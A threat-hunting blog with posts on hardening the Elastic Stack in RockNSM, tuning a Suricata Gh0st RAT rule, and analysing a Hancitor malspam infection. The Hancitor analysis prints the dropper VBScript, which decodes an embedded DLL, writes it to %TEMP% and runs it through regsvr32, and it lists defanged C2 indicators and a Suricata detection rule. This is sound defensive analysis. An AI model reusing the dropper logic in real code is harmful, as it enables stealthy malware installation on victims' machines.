HuntOps

8/02/2020 - Securing the Elastic Stack in RockNSM

Andrew D. Pease — Sun, 02 Aug 2020 00:00:00 +0000

8/02/2020 - Securing the Elastic Stack in RockNSM

As the Elastic Stack continues to release features for their Security App, they have enforced a requirement to have a secure configuration to take advantage of the finer points of this app; namely the Detection Engine.

Responding to multiple requests from the community, I wanted to drop a quick configuration guide on how to deploy the security configuration needed to allow access to the Detection Engine in the Security app (formerly the SIEM app).

Caveat: Click to PCAP (Docket) doesn’t work quite like it used to after you use this guide. It tries to send everything over port 5601. We’re working on a fix to this, but for now, if you do this, you’ll need to remove the port when you’re running Docket.

Additionally, you will have an outage while we’re configuring security, so plan accordingly.

Obviously, you need to have a ROCK deployment and I recommend having the most updated version of the Elastic Stack:

Let’s check to make sure that the sensor is healthy with rockctl status. If you have any services that are in a failed state, try restarting them with sudo systemctl restart [service]. Of note, STENOGRAPHER will show itself as being active (exited). This is normal. If you look down further, STENOGRAPHER@[INTERFACE] active (running) (in my case DUMMY0).

rockctl status
ZEEK:
    Active: active (running) since Sun 2020-08-02 13:56:10 UTC; 59s ago
STENOGRAPHER:
    Active: active (exited) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
DOCKET:
    Active: active (running) since Sun 2020-08-02 13:55:38 UTC; 1min 31s ago
SURICATA:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
ELASTICSEARCH:
    Active: active (running) since Sun 2020-08-02 13:56:45 UTC; 24s ago
KIBANA:
    Active: active (running) since Sun 2020-08-02 13:55:37 UTC; 1min 32s ago
ZOOKEEPER:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
KAFKA:
    Active: active (running) since Sun 2020-08-02 13:55:43 UTC; 1min 26s ago
LIGHTTPD:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
FSF:
    Active: active (running) since Sun 2020-08-02 13:55:41 UTC; 1min 29s ago
FILEBEAT:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
LOGSTASH:
    Active: active (running) since Sun 2020-08-02 13:55:37 UTC; 1min 32s ago
STENOGRAPHER@DUMMY0:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
DOCKET-CELERY-IO:
    Active: active (running) since Sun 2020-08-02 13:55:37 UTC; 1min 32s ago
DOCKET-CELERY-QUERY:
    Active: active (running) since Sun 2020-08-02 13:55:37 UTC; 1min 32s ago

Next, we’re going to make some changes to Elasticsearch, Kibana, and Logstash.

Elasticsearch

Let’s check out to see what version we’re running by curling our system on the Elasticsearch port, 9200.

curl localhost:9200
{
  "name" : "rock-2-6",
  "cluster_name" : "rocknsm",
  "cluster_uuid" : "hSatkUXKS-uAT9ypnh1n8g",
  "version" : {
    "number" : "7.8.1",
    "build_flavor" : "default",
    "build_type" : "rpm",
    "build_hash" : "b5ca9c58fb664ca8bf9e4057fc229b3396bf3a89",
    "build_date" : "2020-07-21T16:40:44.668009Z",
    "build_snapshot" : false,
    "lucene_version" : "8.5.1",
    "minimum_wire_compatibility_version" : "6.8.0",
    "minimum_index_compatibility_version" : "6.0.0-beta1"
  },
  "tagline" : "You Know, for Search"
}

We can see that we’re on 7.8.1, which at the time of this writing, is the most current version.

Next let’s make a change to the Elasticsearch configuration file and add the following to /etc/elasticsearch/elasticsearch.yml (remember to open this file w/sudo)

xpack.security.enabled: true
xpack.security.authc.api_key.enabled: true

After you’ve made this change, restart Elasticsearch sudo systemctl restart elasticsearch.

When Elasticsearch comes back up and we try to curl it again, we get a different response telling us we need to authenticate - we’re on the right track.

curl localhost:9200 | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   403  100   403    0     0  53497      0 --:--:-- --:--:-- --:--:-- 57571
{
  "error": {
    "root_cause": [
      {
        "type": "security_exception",
        "reason": "missing authentication credentials for REST request [/]",
        "header": {
          "WWW-Authenticate": [
            "ApiKey",
            "Basic realm=\"security\" charset=\"UTF-8\""
          ]
        }
      }
    ],
    "type": "security_exception",
    "reason": "missing authentication credentials for REST request [/]",
    "header": {
      "WWW-Authenticate": [
        "ApiKey",
        "Basic realm=\"security\" charset=\"UTF-8\""
      ]
    }
  },
  "status": 401
}

Next we need to make come credential pairs.

You can let Elasticsearch generate your own credential pairs OR you can set them yourself. If you prefer to let Elastisearch create the passphrases for you, just remove the interactive operator below.

sudo /usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive
Initiating the setup of passwords for reserved users elastic,apm_system,kibana,kibana_system,logstash_system,beats_system,remote_monitoring_user.
You will be prompted to enter passwords as the process progresses.
Please confirm that you would like to continue [y/N]y

Enter password for [elastic]:
Reenter password for [elastic]:
Enter password for [apm_system]:
Reenter password for [apm_system]:
Enter password for [kibana_system]:
Reenter password for [kibana_system]:
Enter password for [logstash_system]:
Reenter password for [logstash_system]:
Enter password for [beats_system]:
Reenter password for [beats_system]:
Enter password for [remote_monitoring_user]:
Reenter password for [remote_monitoring_user]:
Changed password for user [apm_system]
Changed password for user [kibana_system]
Changed password for user [kibana]
Changed password for user [logstash_system]
Changed password for user [beats_system]
Changed password for user [remote_monitoring_user]
Changed password for user [elastic]

The passphrases we need are elastic, kibana_system, and logstash_system.

Logstash

Let’s check out to see what version we’re running the following command:

/usr/share/logstash/bin/logstash -V
logstash 7.8.1

We can see that we’re on 7.8.1, which at the time of this writing, is the most current version.

We need to add the username and passphrases we created above to the Logstash configuration in /etc/logstash/conf.d/logstash-9999-output-elasticsearch.conf (remember to open this file w/sudo).

For each block of elasticsearch, add the user => elastic and password => fields. There will be several.

Example

output {
  # Requires event module and category
  if [event][module] and [event][category] {

    # Requires event dataset
    if [event][dataset] {
      elasticsearch {
                    hosts => ["127.0.0.1:9200"]
                    user => elastic
                    password => password
                    index => "ecs-%{[event][module]}-%{[event][category]}-%{+YYYY.MM.dd}"
          manage_template => false
      }
    }
...

Next, go to /etc/logstash/logstash.yml and uncomment out (replace with the logstash_system passphrase you created)

xpack.monitoring.elasticsearch.username: "logstash_system"
xpack.monitoring.elasticsearch.password: "password"

Let’s test your configuration

sudo -u logstash -g logstash /usr/share/logstash/bin/logstash "--path.settings" "/etc/logstash" -t
Configuration OK
[2020-08-02T14:38:16,728][INFO ][logstash.runner] Using config.test_and_exit mode. Config Validation Result: OK. Exiting Logstash

Finally, let’s restart Logstash with sudo systemctl restart logstash.

Kibana

Let’s check out to see what version we’re running by curling Kibana’s API on port 5601.

curl -s http://localhost:5601/api/status | jq .version.number
"7.8.1"

We can see that we’re on 7.8.1, which at the time of this writing, is the most current version.

Next let’s make a change to the Kibana configuration file and add the following to /etc/kibana/kibana.yml (remember to open this file w/sudo).

Note: xpack.encryptedSavedObjects.encryptionKey just needs to be a 32-bit value, anything will work. For elasticsearch.password, enter the passphrase you created (or Elasticsearch created for you) in the previous step.

elasticsearch.username: "kibana_system"
elasticsearch.password: "password"
xpack.security.enabled: true
xpack.encryptedSavedObjects.encryptionKey: "lkajsdflkjadfoijeoiwerjlkdflkjasdfl;kkjs"
server.host: 0.0.0.0

After you’ve made this change, restart Kibana sudo systemctl restart kibana.

While you wait for Kibana to come up, we need to make a change to the firewall to allow us to access Kibana over it’s native port of 5601.

sudo firewall-cmd --add-port=5601/tcp --permanent
sudo firewall-cmd --reload

Check to make sure you can get to Kibana in your browser http://rock-ip:5601.

From here you’ll log on with the username of elastic and the passphrase you created above for that account.

Once you’re logged into Kibana, we need to make another user so that lighttpd doesn’t clash with Kibana - this is hacky, once we figure out a better way, we’ll update this.

On the sensor, open ~/KIBANA_CREDS.README, that has a username and passphrase, we’ll need that in a minute.

In Kibana, click on the Kibana Dock panel (hamburger menu in the top left)
Click on Stack Management
Click on Users
Create User
Name the user the U and the passphrase the P in KIBANA_CREDS.README - you’re creating a user in Kibana that has the same username and passphrase as the one in lighttpd
Give this user the role of superuser
Log out and then log in with this account

Finally, let’s shut down port 5601 that we needed temporarily

sudo firewall-cmd --remove-port=5601/tcp --permanent
sudo firewall-cmd --reload

Test Data

Lets test the sample data listed at the top of the page and replay it to test everything (instructions at the top).

Looks good, and happy hunting!

Closing Thoughts

If you’re looking for new detection rules, check out Elastic’s public repository. If you make a rule you like, please feel free to contribute it to the project!

5/18/2020 - Update The Elastic Stack in ROCK

Andrew D. Pease — Mon, 18 May 2020 00:00:00 +0000

5/18/2020 - Update The Elastic Stack in ROCK

I am still digging out from some time away, but I wanted to drop a quick note on the process to update the Elastic Stack to 7.7, which includes a new Cases feature in the SIEM.

If you’re interested in the full release notes for 7.7.0, you can check them out over here, but I wanted to highlight the new Cases feature.. It’s still Beta, but it’s a good start and with Elastic’s aggressive release cycle, I expect this to mature rapidly.

ROCK 2.5.1 comes with Elastic 7.6.0, so while the ROCK project does the complete testing of 7.7.0 (which came out on May 13, 2020), we can do the update manually. First, get ROCK installed as documented here. Next, let’s update the stack.

Before we get started, yes I am a contributor to the ROCK project and I work for Elastic. I have only done limited testing with 7.7.0 and ROCK, so please don’t do this on a production system. I speak for neither project or company.

Let’s enable the Elastic repo.

sudo vi /etc/yum.repos.d/elastic.repo
# anywhere in the file
enabled=1

Next, let’s update the stack.

sudo systemctl stop kibana filebeat logstash elasticsearch
sudo yum update elasticsearch logstash filebeat kibana -y
sudo systemctl daemon-reload
sudo systemctl start elasticsearch logstash filebeat kibana

Let’s test to make sure the update worked with curl localhost:9200 and you should see 7.7.0 as the new Elasticsearch version.

curl localhost:9200
{
  "name" : "rock",
  "cluster_name" : "rocknsm",
  "cluster_uuid" : "OPJDLfhjRw2BlSJU-Q3Ydw",
  "version" : {
    "number" : "7.7.0",
    "build_flavor" : "default",
    "build_type" : "rpm",
    "build_hash" : "81a1e9eda8e6183f5237786246f6dced26a10eaf",
    "build_date" : "2020-05-12T02:01:37.602180Z",
    "build_snapshot" : false,
    "lucene_version" : "8.5.1",
    "minimum_wire_compatibility_version" : "6.8.0",
    "minimum_index_compatibility_version" : "6.0.0-beta1"
  },
  "tagline" : "You Know, for Search"
}

Now that we’ve updated the stack, we can move on to explore Cases.

For this, we can just use some packets from the Hancitor malware I discussed a bit ago (see the packets above).

First, let’s get to the Network section of the SIEM, and then to the External Alerts. It’s a bit clunky to show how to get there with screenshots, but click on the SIEM app on the left, then Network, and then about 1/2 down the page, there’s the “External Alerts” tab (you may want to customize what is displayed in the External Alerts - I usually click on the hamburger menu and add rule.description at a minimum).

Let’s grab one of the events, ET MALWARE Fareit/Pony Downloader Checkin 2 and click and drag it onto the “Timeline” sidecar on the right-side of the screen. Click on the Timeline to open it, drop down the events, poke around, give it a name, etc.

Now that we have a Timeline event, let’s check out the Cases tab. Now, integration with 3rd party systems isn’t part of the Basic License, but you can still do some basic case management.

Give the case a name, a few tags that make sense, and add the Timeline we just created. Of note, everything is in Markdown, so the syntax is standard and doesn’t have a sharp learning curve…not to mention sidestepping the formatting silliness you get when you copy/pasta into document editors.

Now you’ve got an open case and you can make notes. When you’re done, you can close the case.

Again, it’s still beta right now, so there is just basic functionality; but with Elastic releasing huge updates every 9-10 weeks, getting familiar with the basics will get you that much further along when the features start rolling in.

Until next time, cheers and happy hunting!

4/30/2020 - Tuning Suricata for Gh0st RAT

Andrew D. Pease — Thu, 30 Apr 2020 00:00:00 +0000

4/30/2020 - Tuning Suricata for Gh0st RAT

5/6/2020 - Update: I have submitted this FP and correction suggestion to Emerging Threats

No packets to share this time as this was from a real hunt op.

I had a bit of a scare around a RAT and wanted to walk through the tuning process because I think it’s a task for thrunters…if it should be a task for us is another story, but we need to eliminate noise on the fly, so it’s an important skill.

First off, you can see where some tuning has been done in the identification of network noise, this is part of the process when doing IR - identifying false positives and network weirdness/oddities.

After some wide swath tuning, we had some hits for some Emerging Threats rules, which is more interesting. Of specific note, that I spent some time on, was ET TROJAN Backdoor family PCRat/Gh0st CnC traffic and it was quite an exciting dance.

After seeing the hit on the Suricata dashboard, I applied it as a filter by clicking on the + and then saw that we were looking at 8 source IPs. That was instantly more interesting in that it wasn’t the whole network hitting this signature. Also of note was that it was port 135 (which became helpful later).

In digging in a bit more, I hopped over to Discover to see what was happening around the alert. There was NTLM authentication, the alert, and then DCE_RPC traffic. I focused on a single IP to start and then looked at the other 8 to see if the traffic was the same, and it was.

So, next I wanted to check the Suricata rule to see what exactly what happening. Expanding the event in Kibana showed me that the rule.id field was 2016922. So let’s look at that rule on the sensor to see what’s going on.

With dcode’s help, we can see that it’s looking for the content 78 9c (among other things).

grep 2016922 /var/lib/suricata/rules/suricata.rules

alert tcp $HOME_NET !80 -> $EXTERNAL_NET [!5721,!5938] (msg:"ET TROJAN Backdoor family PCRat/Gh0st CnC traffic"; flow:to_server,established; dsize:>11; content:"|78 9c|"; offset:8; byte_jump:4,-10,relative,little,from_beginning,post_offset -1; isdataat:!2,relative; content:!"PWHDR"; depth:5; metadata: former_category MALWARE; reference:url,www.securelist.com/en/descriptions/10155706/Trojan-GameThief.Win32.Magania.eogz; reference:url,www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Backdoor%3AWin32%2FPcClient.ZR&ThreatID=-2147325231; reference:url,labs.alienvault.com/labs/index.php/2012/new-macontrol-variant-targeting-uyghur-users-the-windows-version-using-gh0st-rat/; reference:url,www.infowar-monitor.net/2009/09/tracking-ghostnet-investigating-a-cyber-espionage-network/; reference:url,blogs.rsa.com/will-gragido/lions-at-the-watering-hole-the-voho-affair/; reference:url,www.norman.com/about_norman/press_center/news_archive/2012/the_many_faces_of_gh0st_rat/en; classtype:trojan-activity; sid:2016922; rev:14; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, tag PCRAT, tag Gh0st, tag RAT, signature_severity Critical, created_at 2013_04_23, malware_family Gh0st, malware_family PCRAT, updated_at 2019_08_06;)

Okay, now we know what the signature is looking for, lets see what caused it to trip by carving the PCAP with Docket (the Query PCAP field in ROCK) and analyzing it in Wireshark.

Searching for the content we identified in the rule (78 9c) we can now see what’s causing the hit. 789c is in the New Technology Local Area Network Manager Security Support Provider (NTLMSSP) Verifier Body! NTLM is a suite of protocols used by Microsoft to provide authentication. It looks like the NTLMSSSP Verifier Body, which is a sequence of bytes, is causing the hit when 789c shows up.

Phew…a false positive. Now what? Let’s make some changes to the Suricata rule so we’re not seeing it for NTLM.

We can make the change by creating a file called modify.conf in the /etc/suricata directory on ROCK. This will ensure that the changes persist through rule updates using suricata-update. The modify file works by defining the rule ID (sid), what it is currently and then what you want to change it to.

So the ports for the rule already state !5721,!5938, so let’s change it to also exclude port 135.

sudo vi /etc/suricata/modify.conf

# Add the following
# Changing ET TROJAN Backdoor family PCRat/Gh0st CnC traffic to not flag on NTLMSSP Verifier Body content
2016922 "!5721,!5938" "!5721,!5938,!135"

Let’s apply the new rules with suricata-update.

sudo -u suricata -g suricata suricata-update

Next we can check to make sure that the rule worked with grep 2016922 /var/lib/suricata/rules/suricata.rules and we should see !135 added ($EXTERNAL_NET [!5721,!5938,!135]).

alert tcp $HOME_NET !80 -> $EXTERNAL_NET [!5721,!5938,!135] (msg:"ET TROJAN Backdoor family PCRat/Gh0st CnC traffic"; flow:to_server,established; dsize:>11; content:"|78 9c|"; offset:8; byte_jump:4,-10,relative,little,from_beginning,post_offset -1; isdataat:!2,relative; content:!"PWHDR"; depth:5; metadata: former_category MALWARE; reference:url,www.securelist.com/en/descriptions/10155706/Trojan-GameThief.Win32.Magania.eogz; reference:url,www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Backdoor%3AWin32%2FPcClient.ZR&ThreatID=-2147325231; reference:url,labs.alienvault.com/labs/index.php/2012/new-macontrol-variant-targeting-uyghur-users-the-windows-version-using-gh0st-rat/; reference:url,www.infowar-monitor.net/2009/09/tracking-ghostnet-investigating-a-cyber-espionage-network/; reference:url,blogs.rsa.com/will-gragido/lions-at-the-watering-hole-the-voho-affair/; reference:url,www.norman.com/about_norman/press_center/news_archive/2012/the_many_faces_of_gh0st_rat/en; classtype:trojan-activity; sid:2016922; rev:14; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, tag PCRAT, tag Gh0st, tag RAT, signature_severity Critical, created_at 2013_04_23, malware_family Gh0st, malware_family PCRAT, updated_at 2019_08_06;)

Send Suricata a SIGHUP (sudo systemctl kill -sHUP suricata.service) to pick up the new rules and you’re golden.

3/20/2020 - Hancitor w/Coronavirus Themed Malspam

Andrew D. Pease — Fri, 20 Mar 2020 00:00:00 +0000

3/20/2020 - Hancitor Infection w/Coronavirus Themed Malspam

Unless you’ve been living under a rock, you’re aware of the global COVID-19 pandemic, also known as Coronavirus…actually…even if you’re under a rock, you’re still likely aware. Adversaries commonly capitalize on these type of events for their malspam lures, COVID is no different. If the bad guys are using this, as defenders, we need to be prepared. In this situation, malspam is used to distribute the Hancitor (Chanitor) downloader. @mesa_matt reported this wave of COVID malspam here and then by SANS.

We’ll start over on the Suricata dashboard to see if anything look suspicious, and as per normal, we have a hint of where to start with the ET MALWARE Fareit/Pony Downloader Checkin 2 alert. As we commonly see with these infections, adversaries frequently do an external IP lookup to see where they are and/or to validate they’ve infected the right victim (for targeted intrusions); that said, remember that an external IP lookup, while interesting, isn’t a smoking gun - so we’ll put that in the “interesting” vs. the “evidence” pile.

Filtering on the Pony Downloader alert, we can see that 10.3.11.101 looks like the internal host as well as 45[.]153[.]73[.]33 as the, we’ll call it C2 because the alert calls it Downloader Checkin 2, external host of interest. Of note, this connection is over port 80, so we should have good metadata to dig through. We’ll also use the HTTP dashboard to see what it can tell us.

Before we move away from the Suricata dashboard, the alert is called Pony, which is part of the process that Hanciator uses to burrow into an infected system - usually Pony is delivered via a macro-enabled document, with a VBScript, that acts as an installer to download Pony and then Hancitor 1, 2, 3. Using that OSINT, we know that we’re probably looking for a VB macro, which likely means an Office document.

Okay, lets pop on over to ROCK’s HTTP dashboard and see what we can learn about 45[.]153[.]73[.]33. Here when we apply the filter for our bad IP address, we can see the HOST (thumbeks[.]com) and the URI’s…all PHP files (/4/forum[.]php, /d2/about[.]php, /mlu/forum[.]php). PHP is a web-centric scripting language that is perfect for all kinds of useful applications…and malware.

Applying different filters to this dashboard shows that 10.3.11.101 and 45[.]153[.]73[.]33 are the only two systems talking back and forth with thumbeks[.]com, so lets look in the Discover app to learn a bit more.

I’ve searched for the host that we’re interested in and applied the http dataset filter. Of note, I’ve added fields that I’m most interested in source IP, URL, etc. but I’ve also added the Query PCAP field so that I can use that to quickly carve the packets using Docket and Stenographer, both built into RockNSM. This traffic is over port 80 and likely unencrypted, so we should be able to get some good data from it. Finally, we’ll know more when we look at the HTTP headers, but the HTTP Method is a POST, so this is likely data exfil or a checkin of some type.

I’ll carve the PCAPs for /4/forum[.]php, /d2/about[.]php, and /mlu/forum[.]php to analyze them.

With the first /4/forum[.]php, we can see that this is uploading a GUID and build number of the implant along with the hostname ([redacted]-WIN10), the userID ([redacted]-WIN10\[username]) and the host IP address (IP=[redacted]) along with a Base64 encoded string

NMNMARZAEg4OCkBVVQkSFQpUGwgOGxwcExQTDg4fH1QZFRdVDQpXExQZFg8eHwlVCRUeEw8XJRkVFwo
bDlVLBhIODgpAVVUYHw4bVBsIDhscHBMUEw4OHx9UGRUXVQ0KVxMUGRYPHh8JVRwVFA4JVUsGEg4OCg
lAVVUJEwkJVBkVVBMUVUsGEg4OCkBVVRcTGQgVGBYbHhMUHREPFg8YD1QZFRdVSwYSDg4KQFVVCQ4VG
REXGwgRHw4IHwwVFg8OExUUVBkVF1VLBwEYQBIODgpAVVUJEhUKVBsIDhscHBMUEw4OHx9UGRUXVQ0K
VxMUGRYPHh8JVQkVHhMPFyUZFRcKGw5VSAYSDg4KQFVVGB8OG1QbCA4bHBwTFBMODh8fVBkVF1UNClc
TFBkWDx4fCVUcFRQOCVVIBhIODgoJQFVVCRMJCVQZFVQTFFVIBhIODgpAVVUXExkIFRgWGx4TFB0RDx
YPGA9UGRUXVUgGEg4OCkBVVQkOFRkRFxsIER8OCB8MFRYPDhMVFFQZFRdVSAc=

This is followed by posting binary files from /d2/about[.]php and /mlu/forum[.]php

After the initial /4/forum[.]php + /d2/about[.]php + /mlu/forum[.]php, there are 3 more POSTs to /4/forum[.]php which have 2 different Base64 encoded strings (CMNXARRABw== and AZAZARRABw==). In checking online for those strings, there was 1 link to Hybrid-Analysis for a Hancitor analysis from 2018 (we knew this was Hancitor already, but this is the first evidence pointing us that direction).

Now that we have a good hit regarding thumbeks[.]com, let’s remove thumbeks[.]com, /4/forum[.]php, /d2/about[.]php, and /mlu/forum[.]php and move onto other suspicious traffic.

When looking at the remaining traffic, it became pretty obvious that there was more than I could just sift through in the Discover app and honestly say I found bad traffic. So, let’s profile the DNS traffic, use a data table visualization, and remove the IP lookup API (api.ipify.org and thumbeks[.]com…ah, 2 entries and we now have 4 additional indicators to research to see if they are bad (2 hosts, 2 IPs)

Lets start with the hosts (freetospeak[.]me and shop[.]artaffinittee[.]com) and see what else we know about them. Looking at the DNS, domains, and files, we can see that there is a file located at freetospeak[.]me/0843_43[.]php, but the filename is SE-670131329809_5500[.]zip.

Before we move further into freetospeak[.]me, let’s look at that IP address (8[.]208[.]77[.]171) and see if anyone else communicated with that IP and no one did. This is the proper process for analysis, but sometimes there’s not any additional data.

Moving on, we’ll grab the packets to see what’s there, but in doing a quick Google search for 0843_43.php I can see that Abuse.ch has listed some of the payloads that are delivered from this URI and they follow what we’ve observed - two capital letters, a dash, 12 numbers, an underscore, 4 numbers, and a zip file extension. We’ll have a regex search in the Detection Logic section, but lets check out the packets.

Lets use the Export HTTP Object of Wireshark to grab that file so we can do some additional analysis. Running the file command, we see that this isn’t a PHP file, but a zip archive (we assumed that based on the file.name field in ROCK, but that’s why we check).

/usr/bin/file 0843_43.php
0843_43.php: Zip archive data, at least v2.0 to extract

Great, let’s grab some metadata about the file with exiftool.

/usr/local/bin/exiftool 0843_43.php
ExifTool Version Number         : 11.85
File Name                       : 0843_43.php
Directory                       : .
File Size                       : 225 kB
File Modification Date/Time     : 2020:03:16 16:04:34-05:00
File Access Date/Time           : 2020:03:16 16:04:48-05:00
File Inode Change Date/Time     : 2020:03:16 16:04:53-05:00
File Permissions                : rw-r--r--
File Type                       : ZIP
File Type Extension             : zip
MIME Type                       : application/zip
Zip Required Version            : 20
Zip Bit Flag                    : 0
Zip Compression                 : Deflated
Zip Modify Date                 : 2020:03:10 19:22:42
Zip CRC                         : 0x8780657b
Zip Compressed Size             : 230297
Zip Uncompressed Size           : 1130515
Zip File Name                   : SE670131329809.vbs

We can see that the Zip File Name contains SE670131329809.vbs. Interesting! Let’s list the contents of the zip file and see if there’s anything else interesting in there.

/usr/bin/unzip -l 0843_43.php
Archive:  0843_43.php
  Length      Date    Time    Name
---------  ---------- -----   ----
  1130515  03-10-2020 19:22   SE670131329809.vbs
---------                     -------
  1130515                     1 file

We can see that the archive was created on March 10, 2020 and that there is one file in there (SE670131329809.vbs). Let’s unzip and poke around on the file.

/usr/bin/unzip -K 0843_43.php
Archive:  0843_43.php
  inflating: SE670131329809.vbs

Now, let’s grab the hash of this script and see if anyone else has already done the hard work.

/sbin/md5 SE670131329809.vbs
MD5 (SE670131329809.vbs) = 8eb933c84e7777c7b623f19489a59a2a

As it would turn out, it looks like someone has already submitted this to VirusTotal and its got a 20/59 score, so this looks like a good hit! As we continue to look at the behavior of this file, it looks like it’s responsible for our connections to thumbeks[.]com and api[.]ipify[.]org (this is great because now we have a real reason to look at IPIFY, whereas before it was just suspicious, but now we can connect it to malware, so we can dig into that more), and a new domain (cludions[.]com - but we don’t have any traffic to that domain in our sample). Of note, VT has some neat node analysis of this sample here.

Now that we’ve got a solid line between IPIFY and our infected host, so let’s see who communicated with that external service. It doesn’t look like anyone beyond our known infected host did, but this is an example of connecting something suspicious to known bad. We don’t do figurative hand-waving here, so it was good to make that association.

Before we move on, let’s take a look at the VBScript. I’ll caveat it with the fact that we’ll just going to look and see if there’s anything of value here vs. trying to RE it.

First off, looking at the metadata, it appears that it was also created on 3/10 (same as the time that it was added to the zip archive it was stored in). It’s unclear if this was an automated process, indicating this is a process to create mass volumes of files for multple campaigns…but based on what was observed online, this is likely auto-created and archived.

It contains a bunch of numbers+l at the beginning and end of the script. I have an assumption that this is some sort of binary that is fed into Dim GtYbDTHjR: Set GtYbDTHjR=CreateObject("Scripting.FileSystemObject"): Dim etEWDmZOL: Set etEWDmZOL=CreateObject("ADODB.Stream") to create either Pony or Hancitor, and then registered as a DLL with .Create "regsvr32.exe -s "+CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(Cint("2"))+"\")+"adobe.txt",,,processid.

'3l70l69l69l79l69l69l69l259l70l69l69l69l69l69l69l69l69l69l69l69l69l69l133l69l69
l133l115l169l166l185l166l69l69l69l113l75l71l69l69l309l70l69l69l75l71l69l69l269l
70l69l69l69l69l69l69l69l69l69l69l69l69l69l133l69l69l261l115l183l184l183l168l69l
69l69l169l77l69l69l69l69l73l69l69l79l69l69l69l275l72l69l69l69l69l69l69l69l69l69
l69l69l69l69l133l69l69l133l115l183l170l177l180l168l69l69l289l75l69l69l69l85l...

There’s also a huge variable defined with a Split

SsfkRq=Split("108,121,175,31,34,31,31,31,35,31...

Beyond the basics of what a Split is, I’m not sure what that is doing. It is referenced below with .WriteText YZyNjfA(SsfkRq)

Stripping all that out, we’re left with:

Function YZyNjfA(YRMVEpWm)
svNcfFav=""
'Function siahdgfkiqadsf
ZBgKJYn=0
adsfsdasd=31
'numbers=3782347438234
'UBoundWhileFunctionEnds
Do While ZBgKJYn =< UBound(YRMVEpWm)
svNcfFav=svNcfFav+ChrW(YRMVEpWm(ZBgKJYn)-adsfsdasd)
'End Function
ZBgKJYn=ZBgKJYn+1
Loop
'.Close
YZyNjfA=svNcfFav
End Function
Dim GtYbDTHjR: Set GtYbDTHjR=CreateObject("Scripting.FileSystemObject"): Dim etEWDmZOL: Set etEWDmZOL=CreateObject("ADODB.Stream")
With etEWDmZOL
.Type=2
.Charset="ISO-8859-1"
.Open()
.WriteText YZyNjfA(SsfkRq)

.Position=0
.SaveToFile CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\")+"adobe.txt", 2
.Close
End With
Set HeJddyu=GetObject("winmgmts:Win32_Process")
With HeJddyu
.Create "regsvr32.exe -s "+CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(Cint("2"))+"\")+"adobe.txt",,,processid
End With

This is a bit beyond my bailiwick of network analysis, but it appears that it is a timer that counts down by 31, listens to a stream for a file that it writes as abobe.txt, and finally the file is registered as a DLL on the system.

So, that’s great, but I wasn’t able to extract adobe.txt without some help. I called in a lifeline with the great Dustin Lee (@_dustinlee) who suggested (correctly) to remove the part of the script that actually executes the binary and it should drop it in the %TEMP%directory as denoted by .SaveToFile CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\")+"adobe.txt", 2. So, I removed the following:

Set HeJddyu=GetObject("winmgmts:Win32_Process")
With HeJddyu
.Create "regsvr32.exe -s "+CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(Cint("2"))+"\")+"adobe.txt",,,processid
End With

After removing that, I ran cscript SE670131329809.vbs, and there in %USERPROFILE%\AppData\Local\Temp was adobe.txt! Phew…from my foxhole, quite a hard fought collection.

Okay, let’s look at the metadata here. Of note, it’s a DLL (which we expected from the DLL registration routine in the script Create "regsvr32.exe -s "), it’s called “Windows Media Center Store ipdate Manager” (looks like a typo - nice indicator to search for).

/usr/local/bin/exiftool adobe.txt
ExifTool Version Number         : 11.30
File Name                       : adobe.txt
Directory                       : .
File Size                       : 248 kB
File Modification Date/Time     : 2020:03:19 18:02:20-05:00
File Access Date/Time           : 2020:03:19 18:05:41-05:00
File Inode Change Date/Time     : 2020:03:19 18:05:41-05:00
File Permissions                : rwxr-xr-x
File Type                       : Win32 DLL
File Type Extension             : dll
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2020:03:10 06:41:39-05:00
Image File Characteristics      : Executable, No line numbers, No symbols, 32-bit, DLL
PE Type                         : PE32
Linker Version                  : 2.50
Code Size                       : 113152
Initialized Data Size           : 140288
Uninitialized Data Size         : 0
Entry Point                     : 0x1c000
OS Version                      : 4.0
Image Version                   : 0.0
Subsystem Version               : 4.0
Subsystem                       : Windows GUI
File Version Number             : 6.1.7601.17514
Product Version Number          : 6.1.7601.17514
File Flags Mask                 : 0x003f
File Flags                      : (none)
File OS                         : Windows NT 32-bit
Object File Type                : Dynamic link library
File Subtype                    : 0
Language Code                   : English (U.S.)
Character Set                   : Unicode
Company Name                    : Microsoft Corporation
File Description                : Windows Media Center Store ipdate Manager
File Version                    : 6.1.7601.17514 (win7sp1_rtm.101119-1850)
Internal Name                   : mcipdate.exe
Legal Copyright                 : © Microsoft Corporation. All rights reserved.
Original File Name              : mcipdate.exe
Product Name                    : Microsoft® Windows® Operating System
Product Version                 : 6.1.7601.17514

Grabbing a quick hash and checking it on VirusTotal identified this as Hancitor!

Okay, moving on to shop[.]artaffinittee[.]com, which as a reminder, we identified this by profiling DNS traffic above.

There are three things that we can dig into:

/wp-includes/sodium_compat/1 - 19fe0b844a00c57f60a0d9d29e6974e7
/wp-includes/sodium_compat/2 - 204f36fb236065964964a61d4d7b1b9c
shop[.]artaffinittee[.]com’s IP address of 68[.]183[.]232[.]255

Let’s first see if anyone else went that IP address, which they didn’t, so we can list that as an indicator, but there’s nothing else to dig in there (we’ll do some IP analysis towards the end).

